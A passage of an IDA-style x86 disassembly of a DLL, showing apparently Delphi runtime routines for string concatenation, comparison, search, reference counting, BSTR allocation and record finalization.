loc_200042EC:				; CODE XREF: sub_20004290+57j
		call	sub_20003FFC
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_200042F5:				; CODE XREF: sub_20004290+2j
		mov	edx, ecx
		jmp	sub_20003FFC
; ---------------------------------------------------------------------------


loc_200042FC:				; CODE XREF: sub_20004290+Ej
		mov	edx, ecx
		jmp	sub_2000424C
sub_20004290	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_20004304	proc near		; CODE XREF: sub_2000B3DC+27Bp
					; sub_2000B3DC+298p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	edx
		push	eax
		mov	ebx, edx
		xor	edi, edi
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_20004321
		cmp	[eax], ecx
		jnz	short loc_20004321
		mov	edi, ecx
		mov	eax, [ecx-4]
		dec	edx
		jmp	short loc_20004323
; ---------------------------------------------------------------------------


loc_20004321:				; CODE XREF: sub_20004304+Fj
					; sub_20004304+13j
		xor	eax, eax


loc_20004323:				; CODE XREF: sub_20004304+1Bj
					; sub_20004304+31j
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_20004334
		add	eax, [ecx-4]
		cmp	edi, ecx
		jnz	short loc_20004334
		xor	edi, edi


loc_20004334:				; CODE XREF: sub_20004304+25j
					; sub_20004304+2Cj
		dec	edx
		jnz	short loc_20004323
		test	edi, edi
		jz	short loc_20004352
		mov	edx, eax
		mov	eax, [esp+14h+var_14]
		mov	esi, [edi-4]
		call	sub_200045D0
		mov	edi, [esp+14h+var_14]
		push	dword ptr [edi]
		add	esi, [edi]
		dec	ebx
		jmp	short loc_2000435A
; ---------------------------------------------------------------------------


loc_20004352:				; CODE XREF: sub_20004304+35j
		call	sub_2000406C
		push	eax
		mov	esi, eax


loc_2000435A:				; CODE XREF: sub_20004304+4Cj
					; sub_20004304+6Bj
		mov	eax, [esp+ebx*4+18h]
		mov	edx, esi
		test	eax, eax
		jz	short loc_2000436E
		mov	ecx, [eax-4]
		add	esi, ecx
		call	sub_200027FC


loc_2000436E:				; CODE XREF: sub_20004304+5Ej
		dec	ebx
		jnz	short loc_2000435A
		pop	edx
		pop	eax
		test	edi, edi
		jnz	short loc_20004383
		test	edx, edx
		jz	short loc_2000437E
		dec	dword ptr [edx-8]


loc_2000437E:				; CODE XREF: sub_20004304+75j
		call	sub_20003FFC


loc_20004383:				; CODE XREF: sub_20004304+71j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		lea	esp, [esp+edx*4]
		jmp	eax
sub_20004304	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20004390	proc near		; CODE XREF: sub_200106B4+6Bp
					; sub_20012440+Ep ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_2000442E
		test	esi, esi
		jz	short loc_2000440B
		test	edi, edi
		jz	short loc_20004412
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_200043B3
		add	edx, eax


loc_200043B3:				; CODE XREF: sub_20004390+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_200043DF


loc_200043B9:				; CODE XREF: sub_20004390+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_20004419
		dec	edx
		jz	short loc_200043D9
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_20004419
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_200043B9
		jmp	short loc_200043DF
; ---------------------------------------------------------------------------


loc_200043D9:				; CODE XREF: sub_20004390+32j
		add	esi, 4
		add	edi, 4


loc_200043DF:				; CODE XREF: sub_20004390+27j
					; sub_20004390+47j
		pop	edx
		and	edx, 3
		jz	short loc_20004407
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_2000442E
		dec	edx
		jz	short loc_20004407
		cmp	ch, bh
		jnz	short loc_2000442E
		dec	edx
		jz	short loc_20004407
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_2000442E


loc_20004407:				; CODE XREF: sub_20004390+53j
					; sub_20004390+5Ej ...
		add	eax, eax
		jmp	short loc_2000442E
; ---------------------------------------------------------------------------


loc_2000440B:				; CODE XREF: sub_20004390+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_2000442E
; ---------------------------------------------------------------------------


loc_20004412:				; CODE XREF: sub_20004390+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_2000442E
; ---------------------------------------------------------------------------


loc_20004419:				; CODE XREF: sub_20004390+2Fj
					; sub_20004390+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_2000442E
		cmp	ch, bh
		jnz	short loc_2000442E
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_2000442E
		cmp	ch, bh


loc_2000442E:				; CODE XREF: sub_20004390+9j
					; sub_20004390+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20004390	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004434	proc near		; CODE XREF: sub_2001290C+12p
					; sub_20012A88+14p ...
		test	eax, eax
		jz	short locret_20004442
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_20004442
		lock inc dword ptr [eax-8]

locret_20004442:			; CODE XREF: sub_20004434+2j
					; sub_20004434+8j
		retn
sub_20004434	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004444	proc near		; CODE XREF: sub_20002BFC+46p
					; sub_200057F4+5Ap ...
		test	eax, eax
		jz	short loc_2000444A
		retn
; ---------------------------------------------------------------------------
byte_20004449	db 0			; DATA XREF: sub_20004444:loc_2000444Ao
; ---------------------------------------------------------------------------


loc_2000444A:				; CODE XREF: sub_20004444+2j
		mov	eax, offset byte_20004449
		retn
sub_20004444	endp


; =============== S U B	R O U T	I N E =======================================



sub_20004450	proc near		; CODE XREF: sub_20004494j
					; sub_2000449Cj
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_2000448E
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_2000448E
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_2000406C
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_200027FC
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_2000448B
		lock dec dword ptr [eax-8]
		jnz	short loc_2000448B
		lea	eax, [eax-8]
		call	sub_20002688


loc_2000448B:				; CODE XREF: sub_20004450+2Bj
					; sub_20004450+31j
		mov	edx, [ebx]
		pop	ebx


loc_2000448E:				; CODE XREF: sub_20004450+4j
					; sub_20004450+Aj
		mov	eax, edx
		retn
sub_20004450	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_20004494	proc near		; CODE XREF: sub_200044E4+9p
		jmp	sub_20004450
sub_20004494	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_2000449C	proc near		; CODE XREF: sub_20011EB4+25p
					; sub_2001290C+40p ...
		jmp	sub_20004450
sub_2000449C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200044A4	proc near		; CODE XREF: sub_200070C4+43p
					; sub_200075F4+20p ...

arg_0		= dword	ptr  4

		push	ebx
		test	eax, eax
		jz	short loc_200044D6
		mov	ebx, [eax-4]
		test	ebx, ebx
		jz	short loc_200044D6
		dec	edx
		jl	short loc_200044CE
		cmp	edx, ebx
		jge	short loc_200044D6


loc_200044B7:				; CODE XREF: sub_200044A4+2Cj
		sub	ebx, edx
		test	ecx, ecx
		jl	short loc_200044D6
		cmp	ecx, ebx
		jg	short loc_200044D2


loc_200044C1:				; CODE XREF: sub_200044A4+30j
		add	edx, eax
		mov	eax, [esp+4+arg_0]
		call	sub_20004098
		jmp	short loc_200044DF
; ---------------------------------------------------------------------------


loc_200044CE:				; CODE XREF: sub_200044A4+Dj
		xor	edx, edx
		jmp	short loc_200044B7
; ---------------------------------------------------------------------------


loc_200044D2:				; CODE XREF: sub_200044A4+1Bj
		mov	ecx, ebx
		jmp	short loc_200044C1
; ---------------------------------------------------------------------------


loc_200044D6:				; CODE XREF: sub_200044A4+3j
					; sub_200044A4+Aj ...
		mov	eax, [esp+4+arg_0]
		call	sub_20003FA8


loc_200044DF:				; CODE XREF: sub_200044A4+28j
		pop	ebx
		retn	4
sub_200044A4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_200044E4	proc near		; CODE XREF: sub_20012A88+4Bp
					; sub_20012A88+A7p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		call	sub_20004494
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_20004528
		mov	ecx, [edx-4]
		dec	esi
		jl	short loc_20004528
		cmp	esi, ecx
		jge	short loc_20004528
		test	edi, edi
		jle	short loc_20004528
		sub	ecx, esi
		cmp	edi, ecx
		jle	short loc_2000450E
		mov	edi, ecx


loc_2000450E:				; CODE XREF: sub_200044E4+26j
		sub	ecx, edi
		add	edx, esi
		lea	eax, [edi+edx]
		call	sub_200027FC
		mov	edx, [ebx]
		mov	eax, ebx
		mov	edx, [edx-4]
		sub	edx, edi
		call	sub_200045D0


loc_20004528:				; CODE XREF: sub_200044E4+12j
					; sub_200044E4+18j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200044E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000452C	proc near		; CODE XREF: sub_20012CD0+114p
		test	eax, eax
		jz	short locret_20004586
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	edx, [edx]
		push	edx
		test	edx, edx
		jz	short loc_20004544
		mov	edx, [edx-4]


loc_20004544:				; CODE XREF: sub_2000452C+13j
		dec	edi
		jge	short loc_20004549
		xor	edi, edi


loc_20004549:				; CODE XREF: sub_2000452C+19j
		cmp	edi, edx
		jle	short loc_2000454F
		mov	edi, edx


loc_2000454F:				; CODE XREF: sub_2000452C+1Fj
		mov	ebp, [ebx-4]
		mov	eax, esi
		add	edx, ebp
		call	sub_200045D0
		pop	eax
		cmp	eax, ebx
		jnz	short loc_20004562
		mov	ebx, [esi]


loc_20004562:				; CODE XREF: sub_2000452C+32j
		mov	eax, [esi]
		lea	edx, [edi+ebp]
		mov	ecx, [eax-4]
		sub	ecx, edx
		add	edx, eax
		add	eax, edi
		call	sub_200027FC
		mov	eax, ebx
		mov	edx, [esi]
		mov	ecx, ebp
		add	edx, edi
		call	sub_200027FC
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx

locret_20004586:			; CODE XREF: sub_2000452C+2j
		retn
sub_2000452C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004588	proc near		; CODE XREF: sub_200096E4+242p
					; sub_20012CD0+46p ...
		test	eax, eax
		jz	short locret_200045CC
		test	edx, edx
		jz	short loc_200045C1
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	ecx, [edi-4]
		push	edi
		mov	edx, [esi-4]
		dec	edx
		js	short loc_200045BC
		mov	al, [esi]
		inc	esi
		sub	ecx, edx
		jle	short loc_200045BC


loc_200045A8:				; CODE XREF: sub_20004588+32j
		repne scasb
		jnz	short loc_200045BC
		mov	ebx, ecx
		push	esi
		push	edi
		mov	ecx, edx
		repe cmpsb
		pop	edi
		pop	esi
		jz	short loc_200045C4
		mov	ecx, ebx
		jmp	short loc_200045A8
; ---------------------------------------------------------------------------


loc_200045BC:				; CODE XREF: sub_20004588+17j
					; sub_20004588+1Ej ...
		pop	edx
		xor	eax, eax
		jmp	short loc_200045C9
; ---------------------------------------------------------------------------


loc_200045C1:				; CODE XREF: sub_20004588+6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_200045C4:				; CODE XREF: sub_20004588+2Ej
		pop	edx
		mov	eax, edi
		sub	eax, edx


loc_200045C9:				; CODE XREF: sub_20004588+37j
		pop	edi
		pop	esi
		pop	ebx

locret_200045CC:			; CODE XREF: sub_20004588+2j
		retn
sub_20004588	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200045D0	proc near		; CODE XREF: sub_2000283C+7Fp
					; sub_20004104+5Dp ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_20004625
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_20004606
		cmp	dword ptr [eax-8], 1
		jnz	short loc_20004606
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_200026A8
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_2000462E
; ---------------------------------------------------------------------------


loc_20004606:				; CODE XREF: sub_200045D0+11j
					; sub_200045D0+17j
		mov	eax, edx
		call	sub_2000406C
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_20004625
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_20004620
		mov	ecx, esi


loc_20004620:				; CODE XREF: sub_200045D0+4Cj
		call	sub_200027FC


loc_20004625:				; CODE XREF: sub_200045D0+Bj
					; sub_200045D0+43j
		mov	eax, ebx
		call	sub_20003FA8
		mov	[ebx], edi


loc_2000462E:				; CODE XREF: sub_200045D0+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200045D0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_2000463C


loc_20004634:				; CODE XREF: sub_2000463C+Ej
					; sub_200046A0+1Dj ...
		mov	al, 1
		jmp	sub_20002750
; END OF FUNCTION CHUNK	FOR sub_2000463C
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_2000463C	proc near		; CODE XREF: sub_200048AC+Fp

; FUNCTION CHUNK AT 20004634 SIZE 00000007 BYTES

		test	eax, eax
		jz	short locret_20004650
		push	eax		; ui
		push	0		; strIn
		call	SysAllocStringLen
		test	eax, eax
		jz	loc_20004634

locret_20004650:			; CODE XREF: sub_2000463C+2j
		retn
sub_2000463C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004654	proc near		; CODE XREF: sub_200048AC+38p
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_20004660
		push	edx		; bstrString
		call	SysFreeString

locret_20004660:			; CODE XREF: sub_20004654+4j
		retn
sub_20004654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004664	proc near		; CODE XREF: sub_200046A0+2j
					; sub_200046A0+Dj ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_20004678
		mov	dword ptr [eax], 0
		push	eax
		push	edx		; bstrString
		call	SysFreeString
		pop	eax

locret_20004678:			; CODE XREF: sub_20004664+4j
		retn
sub_20004664	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000467C	proc near		; CODE XREF: sub_2000493C+70p
					; sub_2000DB90+B9p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_20004682:				; CODE XREF: sub_2000467C+1Cj
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_20004694
		mov	dword ptr [ebx], 0
		push	eax		; bstrString
		call	SysFreeString


loc_20004694:				; CODE XREF: sub_2000467C+Aj
		add	ebx, 4
		dec	esi
		jnz	short loc_20004682
		pop	esi
		pop	ebx
		retn
sub_2000467C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200046A0	proc near		; CODE XREF: sub_20004A4C+81p
					; sub_20004B68+61p ...
		test	edx, edx
		jz	sub_20004664
		mov	ecx, [edx-4]
		shr	ecx, 1
		jz	sub_20004664
		push	ecx		; len
		push	edx		; psz
		push	eax		; pbstr
		call	SysReAllocStringLen
		test	eax, eax
		jz	loc_20004634
		retn
sub_200046A0	endp


; =============== S U B	R O U T	I N E =======================================


; int __fastcall sub_200046C4(int cbMultiByte)

sub_200046C4	proc near		; CODE XREF: sub_200047B0:loc_200047B9j

lpMultiByteStr	= dword	ptr -1014h
strIn		= word ptr -1010h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFFCh
		mov	esi, ecx
		mov	[esp+1014h+lpMultiByteStr], edx
		mov	edi, eax
		test	esi, esi
		jg	short loc_200046E6
		mov	eax, edi
		call	sub_20004664
		jmp	short loc_20004743
; ---------------------------------------------------------------------------


loc_200046E6:				; CODE XREF: sub_200046C4+17j
		lea	ebp, [esi+1]
		cmp	ebp, 7FFh
		jge	short loc_20004719
		push	esi		; cbMultiByte
		lea	eax, [esp+1018h+strIn]
		mov	ecx, [esp+1018h+lpMultiByteStr]	; lpMultiByteStr
		mov	edx, 7FFh	; cchWideChar
		call	sub_200040E8
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_20004719
		lea	edx, [esp+1014h+strIn] ; strIn
		mov	eax, edi
		mov	ecx, ebx	; ui
		call	sub_20004750
		jmp	short loc_20004743
; ---------------------------------------------------------------------------


loc_20004719:				; CODE XREF: sub_200046C4+2Bj
					; sub_200046C4+44j
		mov	ebx, ebp
		mov	eax, edi
		mov	edx, ebx
		call	sub_200048AC
		push	esi		; cbMultiByte
		mov	eax, [edi]
		mov	ecx, [esp+1018h+lpMultiByteStr]	; lpMultiByteStr
		mov	edx, ebx	; cchWideChar
		call	sub_200040E8
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_2000473A
		xor	ebx, ebx


loc_2000473A:				; CODE XREF: sub_200046C4+72j
		mov	eax, edi
		mov	edx, ebx
		call	sub_200048AC


loc_20004743:				; CODE XREF: sub_200046C4+20j
					; sub_200046C4+53j
		add	esp, 1004h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200046C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __fastcall sub_20004750(UINT ui, OLECHAR *strIn)

sub_20004750	proc near		; CODE XREF: sub_200046C4+4Ep
					; sub_20004774:loc_200047A7j ...
		test	ecx, ecx
		jz	sub_20004664
		push	eax
		push	ecx		; ui
		push	edx		; strIn
		call	SysAllocStringLen
		test	eax, eax
		jz	loc_20004634
		pop	edx
		push	dword ptr [edx]	; bstrString
		mov	[edx], eax
		call	SysFreeString
		retn
sub_20004750	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004774	proc near		; CODE XREF: sub_2000DB90+66p
					; sub_2000DD44+17Cp ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_200047A7
		push	edx


loc_2000477B:				; CODE XREF: sub_20004774+21j
		cmp	cx, [edx]
		jz	short loc_200047A0
		cmp	cx, [edx+2]
		jz	short loc_2000479D
		cmp	cx, [edx+4]
		jz	short loc_2000479A
		cmp	cx, [edx+6]
		jz	short loc_20004797
		add	edx, 8
		jmp	short loc_2000477B
; ---------------------------------------------------------------------------


loc_20004797:				; CODE XREF: sub_20004774+1Cj
		add	edx, 2


loc_2000479A:				; CODE XREF: sub_20004774+16j
		add	edx, 2


loc_2000479D:				; CODE XREF: sub_20004774+10j
		add	edx, 2


loc_200047A0:				; CODE XREF: sub_20004774+Aj
		mov	ecx, edx
		pop	edx
		sub	ecx, edx
		shr	ecx, 1


loc_200047A7:				; CODE XREF: sub_20004774+4j
		jmp	sub_20004750
sub_20004774	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200047B0	proc near		; CODE XREF: sub_20005944+1Ep
					; sub_2000C48C+43p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_200047B9
		mov	ecx, [edx-4]


loc_200047B9:				; CODE XREF: sub_200047B0+4j
		jmp	sub_200046C4
sub_200047B0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200047C0	proc near		; CODE XREF: sub_200057F4+51p
					; sub_200058A0+52p
		test	eax, eax
		jz	short loc_200047C8
		retn
; ---------------------------------------------------------------------------
		align 2
word_200047C6	dw 0			; DATA XREF: sub_200047C0:loc_200047C8o
; ---------------------------------------------------------------------------


loc_200047C8:				; CODE XREF: sub_200047C0+2j
		mov	eax, offset word_200047C6
		retn
sub_200047C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200047D0	proc near		; CODE XREF: sub_20004860+Ep
					; sub_200048AC+18p ...
		test	eax, eax
		jz	short locret_200047D9
		mov	eax, [eax-4]
		shr	eax, 1

locret_200047D9:			; CODE XREF: sub_200047D0+2j
		retn
sub_200047D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200047DC	proc near		; CODE XREF: sub_200057F4+24p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	short loc_20004859
		test	esi, esi
		jz	short loc_2000483C
		test	edi, edi
		jz	short loc_20004843
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_200047FB
		add	edx, eax


loc_200047FB:				; CODE XREF: sub_200047DC+1Bj
		push	edx
		shr	edx, 2
		jz	short loc_20004827


loc_20004801:				; CODE XREF: sub_200047DC+41j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_2000484A
		dec	edx
		jz	short loc_20004821
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_2000484A
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_20004801
		jmp	short loc_20004827
; ---------------------------------------------------------------------------


loc_20004821:				; CODE XREF: sub_200047DC+2Ej
		add	esi, 4
		add	edi, 4


loc_20004827:				; CODE XREF: sub_200047DC+23j
					; sub_200047DC+43j
		pop	edx
		and	edx, 2
		jz	short loc_20004838
		mov	cx, [esi]
		mov	bx, [edi]
		cmp	cx, bx
		jnz	short loc_20004859


loc_20004838:				; CODE XREF: sub_200047DC+4Fj
		add	eax, eax
		jmp	short loc_20004859
; ---------------------------------------------------------------------------


loc_2000483C:				; CODE XREF: sub_200047DC+Dj
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_20004859
; ---------------------------------------------------------------------------


loc_20004843:				; CODE XREF: sub_200047DC+11j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_20004859
; ---------------------------------------------------------------------------


loc_2000484A:				; CODE XREF: sub_200047DC+2Bj
					; sub_200047DC+38j
		pop	edx
		cmp	cx, bx
		jnz	short loc_20004859
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cx, bx


loc_20004859:				; CODE XREF: sub_200047DC+9j
					; sub_200047DC+5Aj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200047DC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20004860	proc near		; CODE XREF: sub_2000DB90+78p
					; sub_2000DD44+18Ep ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_200047D0
		cmp	ebx, 1
		jge	short loc_2000487C
		xor	ebx, ebx
		jmp	short loc_20004883
; ---------------------------------------------------------------------------


loc_2000487C:				; CODE XREF: sub_20004860+16j
		dec	ebx
		cmp	eax, ebx
		jge	short loc_20004883
		mov	ebx, eax


loc_20004883:				; CODE XREF: sub_20004860+1Aj
					; sub_20004860+1Fj
		test	edi, edi
		jge	short loc_2000488B
		xor	eax, eax
		jmp	short loc_20004893
; ---------------------------------------------------------------------------


loc_2000488B:				; CODE XREF: sub_20004860+25j
		sub	eax, ebx
		cmp	edi, eax
		jge	short loc_20004893
		mov	eax, edi


loc_20004893:				; CODE XREF: sub_20004860+29j
					; sub_20004860+2Fj
		mov	edx, ebx
		add	edx, edx
		add	edx, esi	; strIn
		mov	ecx, [ebp+arg_0]
		xchg	eax, ecx	; ui
		call	sub_20004750
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_20004860	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200048AC	proc near		; CODE XREF: sub_200046C4+5Bp
					; sub_200046C4+7Ap ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		xor	ebx, ebx
		test	esi, esi
		jle	short loc_200048E0
		mov	eax, esi
		call	sub_2000463C
		mov	ebx, eax
		mov	eax, [edi]
		call	sub_200047D0
		test	eax, eax
		jle	short loc_200048E0
		cmp	esi, eax
		jge	short loc_200048D3
		mov	eax, esi


loc_200048D3:				; CODE XREF: sub_200048AC+23j
		mov	ecx, eax
		add	ecx, ecx
		mov	edx, ebx
		mov	eax, [edi]
		call	sub_200027FC


loc_200048E0:				; CODE XREF: sub_200048AC+Bj
					; sub_200048AC+1Fj
		mov	eax, edi
		mov	edx, ebx
		call	sub_20004654
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200048AC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200048F0	proc near		; CODE XREF: sub_20003558+12p
					; sub_2000493C+AFp
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [ecx+edx+0Ah]
		mov	edi, [ecx+edx+6]


loc_20004902:				; CODE XREF: sub_200048F0+29j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		mov	ecx, 1
		call	sub_2000493C
		add	esi, 8
		dec	edi
		jg	short loc_20004902
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200048F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004924	proc near		; CODE XREF: sub_2000493C+7Cp
		cmp	ds:dword_2001400C, 0
		jz	short loc_20004934
		call	ds:dword_2001400C
		retn
; ---------------------------------------------------------------------------


loc_20004934:				; CODE XREF: sub_20004924+7j
		mov	al, 10h
		call	sub_20002750
sub_20004924	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_2000493C	proc near		; CODE XREF: sub_200048F0+20p
					; sub_2000493C+99p ...
		cmp	ecx, 0
		jz	locret_20004A25
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		cmp	al, 0Ah
		jz	short loc_2000497F
		cmp	al, 0Bh
		jz	short loc_2000499C
		cmp	al, 0Ch
		jz	short loc_200049B3
		cmp	al, 0Dh
		jz	short loc_200049C2
		cmp	al, 0Eh
		jz	short loc_200049E0
		cmp	al, 0Fh
		jz	loc_200049F6
		cmp	al, 11h
		jz	loc_20004A05
		jmp	loc_20004A16
; ---------------------------------------------------------------------------


loc_2000497F:				; CODE XREF: sub_2000493C+1Cj
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_20004990
		call	sub_20003FA8
		jmp	loc_20004A21
; ---------------------------------------------------------------------------


loc_20004990:				; CODE XREF: sub_2000493C+48j
		mov	edx, ecx
		call	sub_20003FCC
		jmp	loc_20004A21
; ---------------------------------------------------------------------------


loc_2000499C:				; CODE XREF: sub_2000493C+20j
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_200049AA
		call	sub_20004664
		jmp	short loc_20004A21
; ---------------------------------------------------------------------------


loc_200049AA:				; CODE XREF: sub_2000493C+65j
		mov	edx, ecx
		call	sub_2000467C
		jmp	short loc_20004A21
; ---------------------------------------------------------------------------


loc_200049B3:				; CODE XREF: sub_2000493C+24j
					; sub_2000493C+82j
		mov	eax, ebx
		add	ebx, 10h
		call	sub_20004924
		dec	edi
		jg	short loc_200049B3
		jmp	short loc_20004A21
; ---------------------------------------------------------------------------


loc_200049C2:				; CODE XREF: sub_2000493C+28j
		push	ebp
		mov	ebp, edx


loc_200049C5:				; CODE XREF: sub_2000493C+9Fj
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_2000493C
		dec	edi
		jg	short loc_200049C5
		pop	ebp
		jmp	short loc_20004A21
; ---------------------------------------------------------------------------


loc_200049E0:				; CODE XREF: sub_2000493C+2Cj
		push	ebp
		mov	ebp, edx


loc_200049E3:				; CODE XREF: sub_2000493C+B5j
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_200048F0
		dec	edi
		jg	short loc_200049E3
		pop	ebp
		jmp	short loc_20004A21
; ---------------------------------------------------------------------------


